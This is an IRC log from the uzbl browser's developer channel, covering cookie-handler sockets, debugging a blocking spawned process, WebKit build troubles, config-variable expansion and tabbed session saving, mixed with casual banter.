21:41 < schmx> EVERYONE I tells you.
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21:42 < holizz> Works fine: wget http://github.com/Dieterbe/uzbl/tarball/f90cf21c5561a4ae2b282d6e095c38d06f38840e
21:42 < holizz> schmx, That's the master branch.
21:42 < holizz> So wget http://github.com/Dieterbe/uzbl/tarball/master
21:43 < Dieterbe_> holy crap
21:43 < schmx> cools.
21:43 < Dieterbe_> you can do that?
21:43 < schmx> holizz: thanks. than's very neat.
21:44 < holizz> GitHub is based on git. And it expects commit identifiers in exactly the same places as git does.
21:45 < schmx> This made my life much simpler :)
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21:48 < holizz> Building it from a tarball means the commit is listed as "" using -V. This will be annoying when helping people debug. It's a shame git doesn't have that old CVS thing $Version:$
21:48 < schmx> 'tis why one needs an officially sanctioned tarball.
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21:49 < holizz> Maybe we could add an official "version" to every tagged release, which can be quoted in -V.
21:50 < holizz> But who downloads tarballs? Maybe it's premature optimisation.
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21:50 < schmx> I download tarballs.
21:51 < schmx> everyone on pkgsrc download tarballs too I'd assume.
21:53 < holizz> You know, now that the third fork of cookies.py has appeared, I might make it a bit nicer to use. I could put everything into a Class with one "get" method and one "put" method. It should make it easier for people to merge in my changes after they fork it.
21:56 < lwithers> holizz, sounds like a good idea
21:56 < lwithers> I'd like to test a cookie handler soon and it would be good to use one that is hackable
21:59 < holizz> You know what, I think it might be an idea to make a generic unit test suite for testing cookie_handlers. It could send pretend cookies to the handler and see if it gets the cookies it put in. That might be quite a nice tool for people writing their own cookie_handlers.
21:59 < lwithers> another fine idea
22:00 < bct> holizz, i have that.
22:00 < lwithers> bct: link please :)
22:00 < bct> http://github.com/bct/uzbl-config/blob/8c91f8f87c526d70a727c6ee74fcc4567d8a7cbe/tests/test_cookies.rb
22:00 < lwithers> bleck, ruby :(
22:01 < schmx> hey it could be worse. it could be python
22:01 < bct> it would be trivial to translate.
22:01 < lwithers> at least python is installed by default in most distros
22:01 < schmx> lwithers: But not on most unices ;)
22:01 < bct> but yeah, all you should need to do is change SCRIPT= and give it a run.
22:01 < schmx> fired up uzbl with the example config here and it dies saying it could not find python :P
22:01 < lwithers> schmx: guess you didn't see my comments yesterday about me and portability then?
22:02 < schmx> lwithers: Probably not.
22:02 < schmx> python is plenty portable. it runs mostly everywhere.
22:03 < schmx> lwithers: I understand you though. I don't care about portability when I write elisp :) fuck those gnu emacs users (:
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22:03  * schmx sees hour 4 of webkit compile has begun.
22:03  * lwithers likes sed -i
22:04 < schmx> I think 4 hours was wrong. maybe it was 6.
22:04 < schmx> ehehe.
22:04 < lwithers> schmx: damn that's a slow machine :(
22:04 < schmx> I don't like sed -i because I think one should use the appropriate tool. sed is not for inplace, that's what ed is for :)
22:04 < schmx> nah it's plenty fast.
22:04 < schmx> 1.7ghz pentium M
22:04 < bct> schmx, is it hung up on the final ld ?
22:04 < schmx> bct: ahaha. no no. far from it.
22:05 < lwithers> my 1.066GHz Intel Core Solo took a good few hours, but not 4-6
22:05 < holizz> I'm investigating g_spawn_sync because I REALLY want to be able to get this scheme_handler merged into Dieterbe/experimental so I can just click on git:// links and have the repo cloned to my src directory.
22:05 < schmx> I think those are plenty faster than pentium M.
22:05 < lwithers> the Q9650 I have took not many minutes at all :)
22:05 < bct> ah, well. you may be in for a nasty surprise, every time i've tried to build webkit with debugging the final ld consumes all (literally all) my memory
22:05 < schmx> and I think I have not so much RAM.
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22:05 < bct> builds fine without debugging though.
22:05 < schmx> bct: that's lovely. I have somethnig to look forward to :)
22:06 < schmx> yee.s
22:06 < Dieterbe_> bct: you spoiled it. now it's not a suprise anymore ;P
22:06 < schmx> 'cept uzbl segfaults.
22:06 < schmx> yeah, bct, you spoiled it. :(
22:06 < lwithers> valgrind is also good for debugging segfaults you know
22:06 < schmx> yep
22:07 < Cheeseum> libwebkit haet 64-bits and gcc 4.4
22:07 < schmx> hey. It just hit a huge fuck of ld
22:08 < schmx> oh this is 32bit and 4.1.3
22:08 < lwithers> Cheeseum: that's what I'm running it on, seems ok
22:08  * schmx also runs it just fine on 64bit lunix.
22:08 < schmx> bct: I do see that memory usage increasing.
22:08  * schmx should get some popcorn for this watching of `top'
22:10 < schmx> 1GB down, 3 more to go :)
22:12 < holizz> G_SPAWN_DO_NOT_REAP_CHILD
22:12 < holizz> Got to be careful of the spelling on that one.
22:13 < scj> heh
22:13 < schmx> this is some crazy swapping
22:14 < holizz> Oops. That broke cookies.
22:15 < bct> holizz, does every request get passed to the scheme_handler?
22:17 < holizz> bct, I think that's what Dieterbe wanted. So I was going to try letting scheme_handler decide. But I'd prefer having a list of schema that scheme_handler uses. It'd be easier than fixing spawn_sync.
22:17 < bct> just wondering if it could be a generic load_uri_policy_handler
22:17 < bct> or navigation-policy-request or whatever that wkgtk signal is called
22:18 < holizz> Although if I fixed spawn_sync, then a cookie_handler script could check if a deamon is running, and if not execute it. That would be a great boon for the daemonised cookie_handlers.
22:23  * holizz clones GLib
22:23 < holizz> This WILL be fixed.
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22:34 < schmx> FUCK
22:34 < schmx> blarg :)
22:34 < schmx>   /: write failed, file system is full
22:35 < holizz> ZOMG. Look at all the whitespace at the ends of lines in the GLib sources. Ick!
22:35 < holizz> schmx, lol
22:35 < schmx> that blows. :)
22:35 < holizz> Better go get some more popcorn.
22:36 < schmx> I don't like popcorn :(
22:36 < Dieterbe_> holizz: this is your change tho have your name in the authors file of glib ;)
22:37 < holizz> "Oh, so you're a contributor to GLib? What exactly was it that you did?" "s/\s+$//g"
22:37 < Dieterbe_> i once saw i talk from greg kroah hartman (or however you write that) in which he mocked cannonical guys and said the only patches they made for the kernel for spelling fixes :) (but he later corrected himself on his blog as he was mistaken. still was funny though)
22:38 < holizz> I should set up a script to go through every project on github, fork it, and get rid of whitespace at the end of lines.
22:38 < holizz> Then push the changes and send a pull request.
22:38 < Dieterbe_> :D
22:38  * schmx makes clean.
22:38 < schmx> and it was just about done too!
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22:39 < bct> ahaha
22:39 < Dieterbe_> holizz: to make it complete, you could autogenerate the github messages: "Hello $name_of_guy, I fixes some things in $project name. Please merge from me. blah blah"
22:39 < bct> that's not a bad idea holizz
22:40 < bct> #1 on ohloh in a day or two
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22:41 < bct> either that or banned from github for life.
22:42 < Dieterbe_> why would they ban you for being a creat opensource contributor?
22:42 < holizz> I'd probably get sentenced to ten years without being allowed to use a computer or touch-tone phone. Like that guy on Hackers.
22:43 < Dieterbe_> i don't remember seeing that in a hackers movie, but let me guess, eventually he ignored that, being persuaded by his friends?
22:43 < Dieterbe_> (of which one friend has to be a girl)
22:44 < holizz> Dieterbe_, You are unaware of the plot to Hackers? He waits until his 16th birthday (when he's legally allowed to use a computer again) and then gets a computer and starts being all 1337 haxor.
22:45 < holizz> He bumps into the girl while hacking a TV station.
22:45 < Dieterbe_> ah so i got 1/2 right
22:45 < Dieterbe_> and then they compete right? they both think they are the best and eventually they fall in love?
22:45 < Dieterbe_> i think i'm recalling some stuff now
22:45 < holizz> I think he hacked the TV station to make them put The Outer Limits on. And she hacked it to put it back. Eventually she won that little match.
22:46 < Dieterbe_> btw, how leet must he have been at only 6years old!
22:47 < bct> we really missed out on a golden age :(
22:48 < holizz> Well, these authority figures like to pretend you're doing more damage than you actually do. Like when I was in school I was playing around with winpopup, some IM sort of thing that came with Windows, and the IT person told me it caused problems for them because there was somebody hired to install software and it broke that and cost the school several hundred pounds more. But that was probably an exaggeration, in retrospect if not an out right lie.
22:49 < holizz> They also had some shit on there stopping you from typing swear words. It would star it out if you typed "fuck" or whatever. I got around that in less than a minute. "uck" <-<-<- "f".
22:49 < holizz> School was funny.
22:50 < bct> i really wonder why they bother.
22:50 < bct> it's totally futile, and causes more problems than it solves.
22:51 < holizz> They probably do these things so they can pretend they're working. Or maybe they're secret government agents trying to figure out who the real 1337 haxors are, so they can have them assassinated.
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22:53 < bct> it's probably the latter.
22:53 < bct> i guess i must not be so leet after all :(
22:54 < holizz> Did anybody see Antitrust? That was great. Microsoft (sorry, the company that in no way resembles any organisation living or dead) went around bumping off open source hackers.
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22:59 < Dieterbe_> was that the one with the huge sattelite communication corporation?
22:59  * Dieterbe_ seems to recall something about busting out startups in their garages. or am i confusing with hackers now? :P
23:00 < holizz> Yeah. And their solution in the end was to "open source" the code by broadcasting it on TV.. or something?
23:00 < holizz> Yeah, something like that. I think they killed the haxors who wouldn't work for them.
23:01 < Dieterbe_> oh yeah
23:01 < Dieterbe_> that was a pretty badass corporation
23:01 < holizz> Miguel De Icasa cameoed in that IIRC. Being a Mono dev I'm not sure whether he'd have been playing a goodie or a baddie.
23:06 < bob_f> Hey guys.
23:08 < holizz> Hello.
23:12 < holizz> "Call me The Plague." "Yes, Mr The Plague."
23:12 < schmx> hello Mr Linux.
23:13 < schmx> Now I have a fresh 10GB partition just for building this darned webkit.
23:13 < schmx> I just.. need to start over.
23:13 < holizz> Haha. Does it take that much space?
23:13 < schmx> seemed it did.
23:13 < schmx> I had 4GB free and it filled it rite up.
23:14 < schmx> it did *not* take that much to build without the -ggdb
23:14 < bob_f> schmx: Hello.
23:14 < schmx> hey bob_f.
23:14 < schmx> bob_f: did you see mah screenshot of bpython on reddit?
23:14 < bob_f> schmx: Nope.
23:14 < bob_f> Show me.
23:15 < schmx> bob_f: I POSTED YOU A LINK
23:15 < schmx> lemme see if it is in my backlog
23:15 < bob_f> I have been in a field for five days, I missed it.
23:15 < schmx> I know.
23:15 < schmx> I figured you'd be highlihted and see it when you got back.
23:16 < schmx> How was the festival? Did you get any fresh air?
23:16 < schmx> well it's not in my scrollback no more.
23:17 < schmx> oh there it is.
23:17 < schmx> bob_f: http://imagebin.ca/view/zmPu-mb6.html
23:17 < bct> haha, browsing through python-list 1999-September i found this:
23:17 < bct> I've heard discussion that
23:17 < bct> Python is not Turing Compliant.  Is this true and why would this be an
23:17 < bct> important consideration for someone who is programming in Python?
23:18 < bob_f> schmx: I got *lots* of fresh air. :)
23:18 < bob_f> schmx: Gotta love the way they spelled it "interpretor".
23:18 < bob_f> But hooray, I'm famous, woo.
23:18 < schmx> rite on!
23:19 < schmx> bob_f: Why have you been hiding this uzbl from me, eh?
23:19 < schmx> everyone is hiding shit from me :(
23:19 < bob_f> schmx: Because you probably would have said you were too good for it or something.
23:19 < schmx> bob_f: I am too good for it.
23:19 < bob_f> <schmx> nah i don't need uzbl, xmonad already does everything i need
23:19 < schmx> I'm so good I can't use it without segfaulting.
23:20 < schmx> sounds like something I'd say yeah.
23:20 < schmx> ;)
23:20 < bob_f> How come you're building webkit anyway ?
23:20 < schmx> I tried building uzbl with the webkit pkg_add gives me and it as soon as a page is to be displayed it segfaults.   gdb bt suggests it is somewhere around webkit.
23:21 < schmx> So I'm building webkit -ggdb.
23:21 < schmx> Which takes roughly 5hrs.  and just now I was so close to finished and it said "disk full"
23:21 < bob_f> That's pretty funny.
23:21 < schmx> I made a new partition where I will build it again.
23:21 < schmx> yup.
23:21 < bob_f> apt webkit & gtk work just fine for me; uzbl hasn't crashed once.
23:22 < schmx> yeah. it works fine for me on arch too.
23:22 < schmx> now I want it on the laptop.
23:23 < holizz> schmx is being awkward. "oh, I think uzbl should work on NetBSD, whine whine whine". Use Linux, hippie!
23:24 < schmx> bob_f: Here's something that could get ugly. You remember that gal who Lisa hates because I shagged her?  I haven't seen her in *atleast* a year. and just today I get a letter and there's two pictures of her and me and a lil' note saying "I still love you"
23:24 < schmx> well it shold work on netbsd :)
23:24 < schmx> I have no idea how she even got my address!
23:24 < bob_f> schmx: Heh, good luck with that.
23:24 < bob_f> Did you tell Lisa ?
23:24 < schmx> No.
23:24 < schmx> I even said there was no mail at all.
23:25 < schmx> I'm a bad person.
23:25 < schmx> (:
23:25 < schmx> I dunno what up with her. she's off somewhere with her new man and baby.
23:26 < bob_f> You really should tell Lisa, if a girl's stalking you, she's gonna find out. :)
23:26 < schmx> Not if I deny reality hard enogh.
23:26 < schmx> there's no place like home...
23:26 < schmx> hey I made something wrong.
23:26  * schmx makes a new partition
23:27 < bob_f> Hooray, I was the wizard of Oz this weekend.
23:27 < schmx> hahaha
23:28 < bob_f> My friends were dressed as the tin man, lion, scarecrow and what's-her-name.
23:28 < bob_f> I had a magic wand and wizard hat.
23:28 < schmx> You have got to be kiddin' me.
23:29 < holizz> Film-inspired LARPing?
23:30 < bob_f> schmx: Nope.
23:30 < bob_f> holizz: LARPing ?
23:30 < holizz> Live-Action Role Playing.
23:31 < holizz> Why else would people go to a field dressed-up?
23:31 < bob_f> holizz: To take shitloads of acid and listen to electronic music.
23:31 < schmx> that's funny. When I hear LARPing I think of self defence courses.
23:31 < schmx> bob_f: Seems a much better idea than role playing.
23:31 < bob_f> Yeah, I think so too. :)
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23:36 < schmx> NOW. tar xzpf foo.tgz -C /mnt is much better with shit mounted :)
23:36  * schmx restarts the build.
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23:40 < bob_f> Hey, does anyone know why the Comment thing on facebook doesn't work with uzbl ?
23:41 < bob_f> I can read them fine, just can't post them; the post button isn't there.
23:41 < holizz> bob_f, It's something to do with... uhm... AJAX?
23:42 < holizz> I recall there's an object Facebook expects that isn't present in WebKit. something.decode
23:42 < bct> is there anything printed to the console? i get lots of weird js errors with uzbl
23:42 < bob_f> holizz: Ah, lame.
23:42 < bob_f> (On facebook's part).
23:42 < bob_f> Oh, JSON.decode.
23:42 < bob_f> That's odd, though - there's no standard JSON object.
23:42 < holizz> I think it used to work. Maybe there was a regression in WebKit.
23:43 < bob_f> Maybe something is making it think there is. But when I type "JSON.decode" I'm using Douglas Crockford's json2.js.
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23:43 < bob_f> i.e. it's either not loading the file, or something is making facebook think the browser already has a JSON parser built in.
23:46 < holizz> uzbl 'javascript:alert(JSON)'
23:46 < holizz> It has JSON, but not JSON.decode.
23:48 < bob_f> Ah, that's the problem then.
23:48 < bob_f> Most browsers don't have JSON.
23:48 < bob_f> Well, FF and IE don't, anyway.
23:48 < bob_f> Probably uzbl has JSON.parse or something instead.
23:49 < bob_f> Should be fixable by just pointing JSON.decode to JSON.parse.
23:50 < bob_f> Nope, no .parse either.
23:52 < bob_f> Hm, apparently the JSON object has no keys at all.
23:52 < bob_f> Does it even belong there ?
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00:00 < holizz> https://bugs.webkit.org/show_bug.cgi?id=20031
00:00 < holizz> Supposedly it works.
00:03 < holizz> Annoying. WebKit has no tags.
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00:06 < bob_f> Hm, looks like paypal doesn't like uzbl too much.
00:07 < bob_f> My HSBC internet banking didn't work either. Wonder if it's a SSL issue.
00:08 < holizz> "It appears you are a hippie. gb2urteepee"
00:08 < bob_f> :)
00:09 < lwithers> https works fine, though I've trouble logging in to several sites
00:09 < lwithers> I've put it down to cookies atm
00:09 < bob_f> Probably.
00:09 < holizz> lwithers, Which handler?
00:10 < lwithers> the one in uzbl git currently, cookies.py
00:11 < holizz> The latest cookies.py? Because the old one had "issues".
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00:11 < lwithers> ah, let me check that
00:12 < lwithers> no, I hadn't copied the updated one to live :/
00:13 < lwithers> ok that's solved my login problems, heh
00:13 < bob_f> holizz: Ah yeah, I didn't get around to merging your stuff in to my daemon.
00:13 < bob_f> Will try to do that tomorrow.
00:13 < bob_f> Or did that other dude make any progress with his socket cookie daemon ?
00:14 < lwithers> bob_f: I've written the C that lets uzbl talk via a socket
00:14 < lwithers> I haven't written a daemon which listens on said socket though
00:14 < bob_f> lwithers: Oh, cool - I can make my daemon use sockets instead of a fifo.
00:14 < bob_f> Should be a pretty trivial change.
00:15 < lwithers> it uses a SOCK_SEQPACKET, currently the GET and PUT are passed from uzbl to the socket as plaintext, whitespace separated args
00:15 < lwithers> uzbl then reads one packet as a reply and closes the socket
00:15 < lwithers> reply packet should be the cookies: header (excluding the cookies: bit) which matches current cookies.py
00:15 < bob_f> Whitespace ? Hmm. I had problems with that e.g. when there are spaces in the title.
00:15 < bct> why not just keep the socket open?
00:15 < lwithers> bct: yes, that would be an optimisation, and a fairly trivial one at that
00:16 < lwithers> to keep the changes truly minimal it's not done yet but it would be easy
00:16 < bct> ah, thought there was another reason.
00:16 < lwithers> just need a hash table of socket path to file descriptor
00:16 < bob_f> Might not really be necessary - sockets are pretty cheap, plus it means you don't have to worry about persistent connections if the daemon dies or whatever.
00:17 < lwithers> yep that is true
00:17 < bob_f> It may not be an optimisation - would be worth profiling and seeing if the socket creation is costing time.
00:17 < lwithers> the whitespace stuff is sub-optimal I agree, but again it keeps the new code minimal
00:18 < lwithers> the handler code in uzbl.c is truly a mess
00:18 < lwithers> (sorry Dieterbe_ :)
00:18 < bob_f> lwithers: Okay, I'll take a look tomorrow - please ping me to remind me if you can, I'm totally frazzled right now.
00:18 < lwithers> bob_f: are you subscribed to the mailing list?
00:18 < bob_f> Yup.
00:18 < lwithers> ok you should see the patch there, posted it last night
00:18 < lwithers> but I'll try to ping you tomorrow if work permits
00:18 < holizz> lwithers, If you have any ideas about making grandchild processes non-blocking, that would really help. Then the cookie_handler could spawn the daemon if it's not running, for instance.
00:19 < bob_f> lwithers: Cool, thanks.
00:19 < lwithers> holizz: yup, do you call setsid() in the grandchild to detach it?
00:21 < holizz> I just use Python's subprocess.Popen, which seems to be detached (like & in sh) - in everything but uzbl's spawn_sync. But I'll look into that. Thanks.
00:21 < lwithers> ah, no, & in sh isn't detached it's still part of the process group
00:21 < lwithers> and whatever is waiting is probably waiting on the process group
00:21 < lwithers> in C you would do fork() and in the child setsid()
00:22 < lwithers> the child process needs to call setsid() or in Python call os.setsid()
00:23 < lwithers> http://code.activestate.com/recipes/66012/
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00:28 < holizz> if os.fork(): os.setsid(); subprocess.Popen(...)
00:28 < holizz> Still blocking.
00:29 < lwithers> post ze code
00:31 < holizz> http://gist.github.com/151674
00:32 < lwithers> os.fork() returns what?
00:32 < lwithers> in C fork() returns 0 in the child, which means your test is the wrong way round
00:32 < holizz> It returns the PID or 0.
00:32 < holizz> Ah.
00:32 < lwithers> OK, so your test is true in the parent
00:32 < lwithers> if not os.fork(): ...
00:33 < holizz> Change it around... still doesn't work.
00:33 < lwithers> hrm
00:33 < lwithers> what is the output of pstree while it's blocking?
00:34 < lwithers> is the spawned xterm a subprocess of uzbl still? it shouldn't be
00:34 < holizz> Looks like xterm is a child of init.
00:34 < lwithers> that is correct
00:34 < lwithers> is there still a subprocess of uzbl at this stage?
00:36 < holizz> Hmm. It says there are 9*uzbl, but there should be 10...
00:37 < lwithers> also, what do you get if you attach an strace to the uzbl process which is blocking? what's it stuck in?
00:38 < holizz> Oh wait. That's a child of zsh.
00:38 < lwithers> ?
00:39 < holizz> I mean, the instance of uzbl was hiding as a child of zsh, whereas all the other instances were children of init.
00:39 < lwithers> oh ok
00:40 < holizz> Last two lines:
00:40 < holizz> --- SIGCHLD (Child exited) @ 0 (0) ---
00:40 < holizz> select(11, [10], NULL, NULL, NULL
00:40 < holizz> Does this mean anything? Else, what am I looking for?
00:41 < lwithers> hrm
00:43 < lwithers> ok uzbl calls g_spawn_sync() in glib
00:44 < lwithers> from your strace, we can see it is blocking in the I/O loop before it calls waitpid()
00:45 < lwithers> (and actually it does wait on the PID not the process group, so the setsid was unnecessary:)
00:45 < lwithers> so I suspect you need to close stdout and stderr in your grandchild
00:46 < lwithers> the short C code one usually uses is close(0); close(1); close(2); open("/dev/null", O_RDONLY); open("/dev/null", O_WRONLY); open("/dev/null", O_WRONLY);
00:46 < lwithers> let's see if we can figure out what that should be in Python
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00:48 < lwithers> ok, the code snippet here is probably good: http://mail.python.org/pipermail/python-list/2006-November/587523.html
00:48 < holizz> sys.std*.close()
00:48 < lwithers> holizz: nope :)
00:48 < lwithers> that's the obvious, but wrong, answer I'm afraid
00:49 < holizz> Ohhhh!
00:50 < holizz> That fixes it.
00:50 < lwithers> sweet :)
00:50 < lwithers> and on that note, time for bed
00:50 < holizz> Thank you!
00:50 < lwithers> yw
00:50 < holizz> Seems there's a lot for me to learn yet.
00:59 < holizz> lwithers, How should I credit you? As lwithers or do you have another name? (Such as the one on lwithers.me.uk?)
01:01 < holizz> Dieterbe_, Should we have a list of schema that should never be handled (slightly faster)? Or should we call scheme_handler for every URI navigated to (possibly more flexible, although I have no use cases for http(s)/file/about/data)?
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01:28 < krayon> holizz: hmm, I thought in the discussion it was decided that the handler(s) wouldn't be spawned by uzbl
01:28 < holizz> ... wouldn't be spawned? Eh?
01:29 < krayon> yeah ... it's MUCH better that way IMHO
01:29 < krayon> :( I don't have scrollbcak as I'm on a different machine :/
01:29 < holizz> You mean just not merge this branch in?
01:30 < krayon> I didn't read all that ... just saw your comment related to uzbl spawning handler.
01:31 < krayon> The conv that took place yesturday (24+ hours ago IIRC) Dieterbe etc agreed that keeping them separate would be more true to the "unix philosophy etc"
01:31 < krayon> IIRC.
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01:32 < holizz> I'm not sure what you're saying.
01:32 < krayon> Personally I think as we already have a 7 thousand ways to spawn a process, a new one of from within uzbl isn't really needed :P
01:32 < holizz> Right.
01:32 < krayon> This was regarding the cookie_handler via sockets stuff
01:32 < holizz> Oh? I was talking about scheme_handler.
01:33 < krayon> The question came up as to if uzbl should launch the cookie handler if it isn't running etc
01:33 < krayon> RIght /me should have read :S
01:33 < krayon> Sorry.
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01:33 < holizz> Now thanks to lwithers, we have the know-how to fork the cookie_handler to start the cookie daemon.
01:34 < krayon> what? so it is about the cookie handler
01:34 < krayon> I'm so confused now :P
01:35 < holizz> No, that's just something you could do with the infinate knowledge I have attained.
01:36 < holizz> Anyway, I have a phone interview in 12.5 hours.
01:36 < krayon> Ah, good luck then :)
01:36  * krayon is going to bed now too as it's 9:30 in the morning :P
01:36 < holizz> So I'm going to get some sleep. I was going to go 1.5 hours ago, but I got quite into this problem.
01:36 < krayon> Good luck with your interview though ;)
01:37 < holizz> Thanks.
01:37 < holizz> Night!
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02:36 < quinq> Hi
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04:19 < yuanyelele> Hi~ why this does not work:
04:19 < yuanyelele> set history_handler  = pawn ${XDG_DATA_HOME:-$HOME/.local/share}/uzbl/scripts/history.sh
04:20 < yuanyelele> i want to use $HOME/.local/share as a default for $XDG_DATA_HOME
04:22 < Rodya> do you have "pawn" or "spawn" in that line in the actual file?
04:23 < yuanyelele> yes
04:23 < yuanyelele> i copy paste that line
04:23 < Rodya> it should be spawn, not pawn
04:25 < yuanyelele> OK, "pawn" in example config file. So now i change that to "spawn", but still not working
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04:27 < Rodya> the ${...} is bash syntax stuff, right? the config file isn't interpreted by bash, so i wouldn't assume it expands correctly
04:27 < yuanyelele> i think so too.
04:27 < Rodya> i have $XDG_DATA_HOME/uzbl/scripts/history.sh as mine, and it pics up $HOME/.local/share/uzbl/scripts/history.sh
04:27 < yuanyelele> then how can i set a default value, if i did not set $XDG_DATA_HOME?
04:28 < Rodya> just $HOME/.local/share/uzbl/scripts/history.sh should work, would be my guess
04:29 < yuanyelele> from XDG base Directory Specification: If $XDG_DATA_HOME is either not set or empty, a default equal to $HOME/.local/share should be used.
04:29 < Rodya> and you're sure $XDG_DATA_HOME isn't set?
04:29 < yuanyelele> but if it is set, then value of $XDG_DATA_HOME should be used
04:30 < yuanyelele> i think uzbl should adhere to XDG spec
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04:31 < Rodya> yuanyelele, again, you're certain $XDG_DATA_HOME isn't set to something?
04:32 < yuanyelele> I run unset XDG_DATA_HOME before uzbl
04:33 < yuanyelele> error on run_command: Failed to execute child process "${XDG_DATA_HOME:-/home/yuanyelele/.local/share}/uzbl/scripts/history.sh" (No such file or directory)
04:33 < Rodya> i tested it myself, it appears you're right
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04:33 < Rodya> i suggest filing a bug report
04:34 < Rodya> uzbl.org/bugs
04:36 < Rodya> it looks like a bug is already filed for it http://www.uzbl.org/bugs/index.php?do=details&task_id=51&project=1&pagenum=2
04:38 < yuanyelele> ok, i hope that will be fixed soon.
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04:38 < yuanyelele> also, to put "sh" instead of "spawn" is a workaround
04:39 < Rodya> is there some reason you need this functionality? (out of curiosity, mainly)
04:40 < yuanyelele> before i use uzbl, XDG_DATA_HOME is not set anywhere, in my .bashrc etc.
04:41 < Rodya> ah
04:41 < yuanyelele> I have to add a line to .bashrc, because Gentoo didn't do it for me.
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07:26 < mason-l> I've just made some huge factorisations to uzbl_tabbed.py adding saving/loading/deleting/listing of session presets, optional jsonification of session states with plain-text fall back, new command to kill all tabs and open a brand new fresh one, I'm now properly closing uzbl instances with the exit command instead of just killing the application. Ahhh I think thats it :)
07:26 < mason-l> I wouldnt mind someone testing the new changes and letting me know if it works for them
07:26 < mason-l> http://github.com/mason-larobina/uzbl/commits/uzbl-tabbed-json-session
07:27 < mason-l> The session preset saving/loading/deleting/listing is my favorite.
07:27 < Rodya> oh man, this might make my day
07:27 < Rodya> does it depend on a specific uzbl version
07:28 < mason-l> Rodya, I'm using the latest uzbl version in Dieterbe_'s experimental. But I dont think it will matter if you are a few commits behind.
07:28 < Rodya> thanks =)
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07:29 < mason-l> ruskie, Are you active?
07:29 < ruskie> ?
07:29 < mason-l> ruskie, You might like this also
07:30 < mason-l> I cant remember who requested the saving/loading/etc.. session presets
07:31 < mason-l> brb cooling down.
07:31 < Rodya> mason-l, i didn't check real hard, but it should be noted somewhere that you need the json module for python so you don't have to find out from an error message in a terminal
07:33 < mason-l> Rodya, Yes I should mention that but using json is optional .. just a message comes up letting you know its not using json.
07:33 < mason-l> Maybe the solution is having it set off to begin with...
07:34 < mason-l> Rodya, its "$ easy_install simplejson" to install it if you where wondering.
07:35 < Rodya> mason-l, already installed it, but it doesn't seem to default to not using json (in my experience), as it crashed before uzbl ever opened (perhaps it was because i had a session file already?)
07:36 < mason-l> Rodya, What was the message?
07:37 < Rodya> mason-l, http://pastebin.com/m732b0acd
07:37 < mason-l> Oh yes
07:37 < mason-l> I've changed the session file format
07:37 < mason-l> it now stores the tab title in there also
07:38 < mason-l> I forgot you will need to delete the old session file. I'm going to make a modification right now to uzbl_tabbed.py that recovers from that however.
07:38 < Rodya> What is the capture_new_windows option?
07:38 < Rodya> Nevermind
07:38 < mason-l> :)
07:39 < Rodya> had to think about it a bit, which means i need another white russian
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07:46 < Rodya> oh man, the session saving/loading is nice, and the clean slate is nice too
07:46 < mason-l> :D
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07:47 < mason-l> Next up is open last closed tab binding.
07:49 < Rodya> mason-l, a prettier way to show the list of saved sessions might be nice (python has gtk bindings, doesn't it? never tried it myself though)
07:50 < mason-l> Rodya, What did you have in mind?
07:50 < Rodya> http://library.gnome.org/users/zenity/stable/zenity-list-options.html.en something similar to this, but it could do without the tab names and would be fine with just an ok button
07:51 < Rodya> just something more list like that would work better with lots of saved sessions
07:54 < mason-l> Might even be worth writing a script for uzbl_tabbed.py that takes the current uzbl_tabbed.py fifo and saved sessions dir and allows you to add edit change load delete the saved sessions?
07:54 < mason-l> In a gui window that is
07:55 < Rodya> it'd be nice for a lot of saved sessions, but how many people really use enough to make it worth that much effort, i wonder?
07:55 < mason-l> It will be fun though :D
07:55 < Rodya> reason enough in my book, lol
07:56 < mason-l> I'm not going to get to it right away though, I've got some more pressing matters to attend to at the moment.
07:57 < Rodya> <3 new window catching, that is my single most desired feature for uzbl tabbed
07:57 < mason-l> All the thanks go to holizz for that, he did the modifications in uzbl to make that possible.
07:57 < Rodya> is there no longer any way to open a new window?
07:58 < mason-l> I might make a command to orphan a window (I.e. take the current tab and move it to a new uzbl_tabbed.py instance)
07:59 < mason-l> Though doing that I don't think its possible to keep the current uzbl instance intact.
08:02 < Rodya> it just seems like there should be a way to open in a new tab or open a link in a new window, rather than being either or (would setting the capture_new_windows setting in a uzbl instance change the behavior, so you could disable it and turn it back on at will?)
08:02 < mason-l> I think the real issue is with uzbl in not being able to define arbitrary right click menu items.
08:03 < mason-l> That way you can retain open in new window and have open in new tab injected in there by uzbl_tabbed.py
08:03 < Rodya> ah, so that's why we have this seemingly arbitrary menu, they can't change it?
08:04 < mason-l> I think they can change it we just cant add more menu items in through the uzbl config which is the killer.
08:05 < mason-l> The main hurdle I think is the menu needing to be context aware (i.e. did you just right click on an image, or just a link, or a link and image, or the background. or on some text.)
08:07 < Rodya> it does seem to pick up links to images, but that's all i've noticed
08:07 < mason-l> Did anyone get that puzzle I gisted? http://gist.github.com/150427 anyone beat my 8 step solution?
08:09 < Rodya> i gave that a shot a month or so ago, found it in a lecture i was watching (probably from MIT), never finished it, though... if i had done it on a piece of paper rather than in my head i'd probably have gotten farther with it
08:12 < mason-l> It took me a few minutes to finally get the hang of it :) its easy looking back on it.
08:13 < Rodya> iirc, i ended up making a slight error when backing up a few steps and didn't want to start over to make sure i wasn't doing it wrong
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09:39 < Dieterbe_> good morning
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09:49 < yuanyelele> morning~~
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10:48 < schmx> wooh! webkit -ggdb is ready built
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10:53 < Dieterbe_> :)
10:53 < Dieterbe_> so many diskspace did you need?
10:53 < holizz> And I missed most of it sleeping? I wish I'd stayed up for that.
10:54 < Dieterbe_> oh holizz i had a question for you
10:54 < Dieterbe_> but i totally forgot what it was
10:55 < holizz> Shoot.
10:55 < holizz> Oops.
10:55 < Dieterbe_> i just know you're never online when i want to ask it :P
10:55 < holizz> That's the problem with me turning my computers off when I go to sleep.
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10:58 < holizz> I had a question for you about scheme_handler. What was the consensus? (1) Shellout for every navigation policy request, or (2) have a hard-coded or variable list of schema that are never sent to scheme_handler.
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11:02 < schmx> Dieterbe_: lemme see.. 3.5GB
11:02 < schmx> ok. installed the newly built package. built me a uzbl. Here goes.
11:02 < holizz> ............
11:03 < Dieterbe_> holizz: how about sending _everything_ to the scheme handler including http and such? i would like to use daemonized handlers with socket connections so performance shouldn't really be an issue anymore
11:04 < holizz> Dieterbe_, orly? Interesting plan.
11:04 < mason-l> After you've finished with a branch is it possible to "close a branch" or does it just get deleted?
11:05 < holizz> mason-l, In git? Branches just remain. You can delete them from your own repo, but they'll stay on github.
11:05 < mason-l> Oh.
11:05 < schmx> woho. a more informative bt!
11:06 < Dieterbe_> actually if they are gone locally, there is a way to also delete them on github (google is your friend)
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11:07 < holizz> Wow.
11:12 < mason-l> Awesome. I've moved all my changes back into my experimental branch and deleted my working branch.
